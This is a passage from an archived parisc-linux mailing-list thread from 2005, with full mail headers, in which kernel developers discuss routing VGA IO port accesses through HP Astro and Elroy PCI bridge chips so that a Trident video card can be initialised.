 Bjorn Helgaas <bjorn.helgaas@hp.com>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 19:05:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 23 Jun 2005 21:05:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8823F7D765;
	Thu, 23 Jun 2005 13:05:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02927-10; Thu, 23 Jun 2005 13:05:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8ABE47D768;
	Thu, 23 Jun 2005 13:05:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EA8A7D75E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 13:05:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02927-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 13:05:13 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id A1C917D75D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 13:05:13 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EF8AF298052;
	Thu, 23 Jun 2005 13:09:17 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13916-08; Thu, 23 Jun 2005 13:09:15 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9E878298034; Thu, 23 Jun 2005 13:09:14 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050623185925.GB28881@roadwarrior.mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oWLJYnhEeSEker6WZHQhaXN1IGRvbwBR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22813

On Thu, Jun 23, 2005 at 02:59:25PM -0400, Kyle McMartin wrote:
> > ie a "directed range" could be programmed to redirect accesses from
> > MMIO space to a particular Elroy. Requires programming a directed
> > range in Astro and a matched "Extra LMMIO" range in Elroy.
> > I've never messed with this and always depended on firmware
> > to deal with range registers.
> >
> 
> I've been looking at the Astro and Elroy ERS trying to understand
> this. Does this mean that even if the "VGA Enable" logic is broken,
> we could still force VGA accesses to be routed to a specific PCI 
> device, or are we out of luck?

We can force any MMIO accesses to any rope with "Directed Ranges" on Astro.
We can NOT force IO Port accesses to anything.

> If it's feasible, I'm willing to take some time to look into this.

I'm not sure it's "feasible" unless we can get around IO Port space
routing issues.

grant

> 
> Cheers,
> -- 
> Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trident video card caused Kernel Panic on HP
	Visualize 785/B2000 with rebuilt 2.6.11-rc6-pa1 kernel
Date: Thu, 23 Jun 2005 13:24:21 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <200506231324.21482.bjorn.helgaas@hp.com>
References: <5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
	<20050623185925.GB28881@roadwarrior.mcmartin.ca>
	<20050623190914.GA28240@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623815 15006 80.91.229.3 (22 Nov 2014 02:36:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:55 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 19:24:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 23 Jun 2005 21:24:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D6DC67D770;
	Thu, 23 Jun 2005 13:24:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03267-06; Thu, 23 Jun 2005 13:24:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAD8E7D774;
	Thu, 23 Jun 2005 13:24:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 097517D76F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 13:24:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03267-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 13:24:31 -0600 (MDT)
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by free.linux.hp.com (Postfix) with ESMTP id 7E2527D76B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 13:24:31 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP id 402CB19B55;
	Thu, 23 Jun 2005 15:24:25 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 579DA42498B; Thu, 23 Jun 2005 19:24:24 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 0DE261340F2;
	Thu, 23 Jun 2005 13:24:24 -0600 (MDT)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 27870-09; Thu, 23 Jun 2005 13:24:23 -0600 (MDT)
Original-Received: from eeyore.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id C92AA1340D4;
	Thu, 23 Jun 2005 13:24:22 -0600 (MDT)
User-Agent: KMail/1.8.1
In-Reply-To: <20050623190914.GA28240@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KmnJYnFpeSEkML6WZHQhaXN1IGRvb8Cu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22814

On Thursday 23 June 2005 1:09 pm, Grant Grundler wrote:
> On Thu, Jun 23, 2005 at 02:59:25PM -0400, Kyle McMartin wrote:
> > > ie a "directed range" could be programmed to redirect accesses from
> > > MMIO space to a particular Elroy. Requires programming a directed
> > > range in Astro and a matched "Extra LMMIO" range in Elroy.
> > > I've never messed with this and always depended on firmware
> > > to deal with range registers.
> > >
> > 
> > I've been looking at the Astro and Elroy ERS trying to understand
> > this. Does this mean that even if the "VGA Enable" logic is broken,
> > we could still force VGA accesses to be routed to a specific PCI 
> > device, or are we out of luck?
> 
> We can force any MMIO accesses to any rope with "Directed Ranges" on Astro.
> We can NOT force IO Port accesses to anything.
> 
> > If it's feasible, I'm willing to take some time to look into this.
> 
> I'm not sure it's "feasible" unless we can get around IO Port space
> routing issues.

If the IO port routing is broken, I don't know whether we can do
anything useful.  X emulates the option ROM to initialize the card,
and the ROM typically does IO port accesses that have to appear on
the bus as accesses in the 0x3b0-0x3df range.

Even without Astro VGA routing, the emulator or kernel could remap
those accesses so they get routed to the correct bus.  But that's
not enough, because then they won't appear on the bus in the
0x3b0-0x3df range that the card is expecting.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trident video card caused Kernel Panic on HP
	Visualize 785/B2000 with rebuilt 2.6.11-rc6-pa1 kernel
Date: Thu, 23 Jun 2005 14:18:07 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20050623201807.GB28240@colo.lackof.org>
References: <5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
	<20050623185925.GB28881@roadwarrior.mcmartin.ca>
	<20050623190914.GA28240@colo.lackof.org>
	<200506231324.21482.bjorn.helgaas@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623816 15009 80.91.229.3 (22 Nov 2014 02:36:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:56 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 20:14:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 23 Jun 2005 22:14:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0FAC87D765;
	Thu, 23 Jun 2005 14:14:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03842-03; Thu, 23 Jun 2005 14:14:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C2727D770;
	Thu, 23 Jun 2005 14:14:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4C737D741
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 14:14:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03267-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 14:14:07 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 555397D73C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 14:14:07 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 20250298052;
	Thu, 23 Jun 2005 14:18:09 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19024-04; Thu, 23 Jun 2005 14:18:07 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8007F298034; Thu, 23 Jun 2005 14:18:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200506231324.21482.bjorn.helgaas@hp.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T33JYr8FeSEkUr6WZHQhaXN1IGRvbwAh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22815

On Thu, Jun 23, 2005 at 01:24:21PM -0600, Bjorn Helgaas wrote:
> > I'm not sure it's "feasible" unless we can get around IO Port space
> > routing issues.
> 
> If the IO port routing is broken, I don't know whether we can do
> anything useful.  X emulates the option ROM to initialize the card,
> and the ROM typically does IO port accesses that have to appear on
> the bus as accesses in the 0x3b0-0x3df range.

On parisc the emulator would have to call into the Elroy PCI
support (drivers/parisc/lba_pci.c) to generate the IO port accesses.
Ie parisc has no "load/store IO Port space" instructions.
It all has to be done by directly poking the Elroy registers
on the right elroy.

IA64 could do this as well but doesn't have an "lba_pci.c" driver.
Everything is "nicely" encapsulate by SAL calls and IA64 can
directly generate IO Port space load/stores (in/out) so it
wouldn't normally need a PCI Host Bus controller driver.


> Even without Astro VGA routing, the emulator or kernel could remap
> those accesses so they get routed to the correct bus.  But that's
> not enough, because then they won't appear on the bus in the
> 0x3b0-0x3df range that the card is expecting.

Given the above, we can poke any value we want in to the Elroy registers
in order to generate the right IO port space addresses.


grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trident video card caused Kernel Panic on HP
	Visualize 785/B2000 with rebuilt 2.6.11-rc6-pa1 kernel
Date: Thu, 23 Jun 2005 14:22:14 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <200506231422.14208.bjorn.helgaas@hp.com>
References: <5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
	<200506231324.21482.bjorn.helgaas@hp.com>
	<20050623201807.GB28240@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623816 15012 80.91.229.3 (22 Nov 2014 02:36:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:56 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 20:22:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 23 Jun 2005 22:22:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85D3A7D77D;
	Thu, 23 Jun 2005 14:22:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03842-09; Thu, 23 Jun 2005 14:22:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C7057D77E;
	Thu, 23 Jun 2005 14:22:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DC3A7D779
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 14:22:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03921-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 14:22:18 -0600 (MDT)
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by free.linux.hp.com (Postfix) with ESMTP id 893A17D765
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 14:22:18 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel9.hp.com (Postfix) with ESMTP id 454261A9CB;
	Thu, 23 Jun 2005 16:22:18 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 6531E424A9E; Thu, 23 Jun 2005 20:22:17 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id DF6D01341D9;
	Thu, 23 Jun 2005 14:22:16 -0600 (MDT)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 02613-03; Thu, 23 Jun 2005 14:22:15 -0600 (MDT)
Original-Received: from eeyore.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id BAC361340D4;
	Thu, 23 Jun 2005 14:22:15 -0600 (MDT)
User-Agent: KMail/1.8.1
In-Reply-To: <20050623201807.GB28240@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: U3/JYi97eSEkSL6WZHQhaXN1IGRvb8BK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22816

On Thursday 23 June 2005 2:18 pm, Grant Grundler wrote:
> On parisc the emulator would have to call into the Elroy PCI
> support (drivers/parisc/lba_pci.c) to generate the IO port accesses.
> Ie parisc has no "load/store IO Port space" instructions.
> It all has to be done by directly poking the Elroy registers
> on the right elroy.

> > Even without Astro VGA routing, the emulator or kernel could remap
> > those accesses so they get routed to the correct bus.  But that's
> > not enough, because then they won't appear on the bus in the
> > 0x3b0-0x3df range that the card is expecting.
> 
> Given the above, we can poke any value we want in to the Elroy registers
> in order to generate the right IO port space addresses.

Hmmm....  very interesting idea.  The hook is already there
(ia64_pci_legacy_read() is an example for ia64), so parisc
could implement something similar that poked Elroy directly.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trident video card caused Kernel Panic on HP
	Visualize 785/B2000 with rebuilt 2.6.11-rc6-pa1 kernel
Date: Thu, 23 Jun 2005 16:30:38 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20050623203038.GD28881@roadwarrior.mcmartin.ca>
References: <5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
	<20050623185925.GB28881@roadwarrior.mcmartin.ca>
	<20050623190914.GA28240@colo.lackof.org>
	<200506231324.21482.bjorn.helgaas@hp.com>
	<20050623201807.GB28240@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623816 15015 80.91.229.3 (22 Nov 2014 02:36:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Bjorn Helgaas <bjorn.helgaas@hp.com>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 20:31:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 23 Jun 2005 22:31:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECB357D789;
	Thu, 23 Jun 2005 14:31:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04201-06; Thu, 23 Jun 2005 14:31:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7B6A7D78A;
	Thu, 23 Jun 2005 14:31:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A910E7D787
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 14:31:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04201-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 14:31:49 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 23C807D786
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 14:31:49 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 5EDC01707B;
	Thu, 23 Jun 2005 16:31:48 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06321-02; Thu, 23 Jun 2005 16:31:37 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 67C7117081; Thu, 23 Jun 2005 16:31:37 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x127564930-52656d6f746546617454697265-494e424f582e4f7574626f78: 1119558677-0268651985648-v4.0.8
Content-Disposition: inline
In-Reply-To: <20050623201807.GB28240@colo.lackof.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
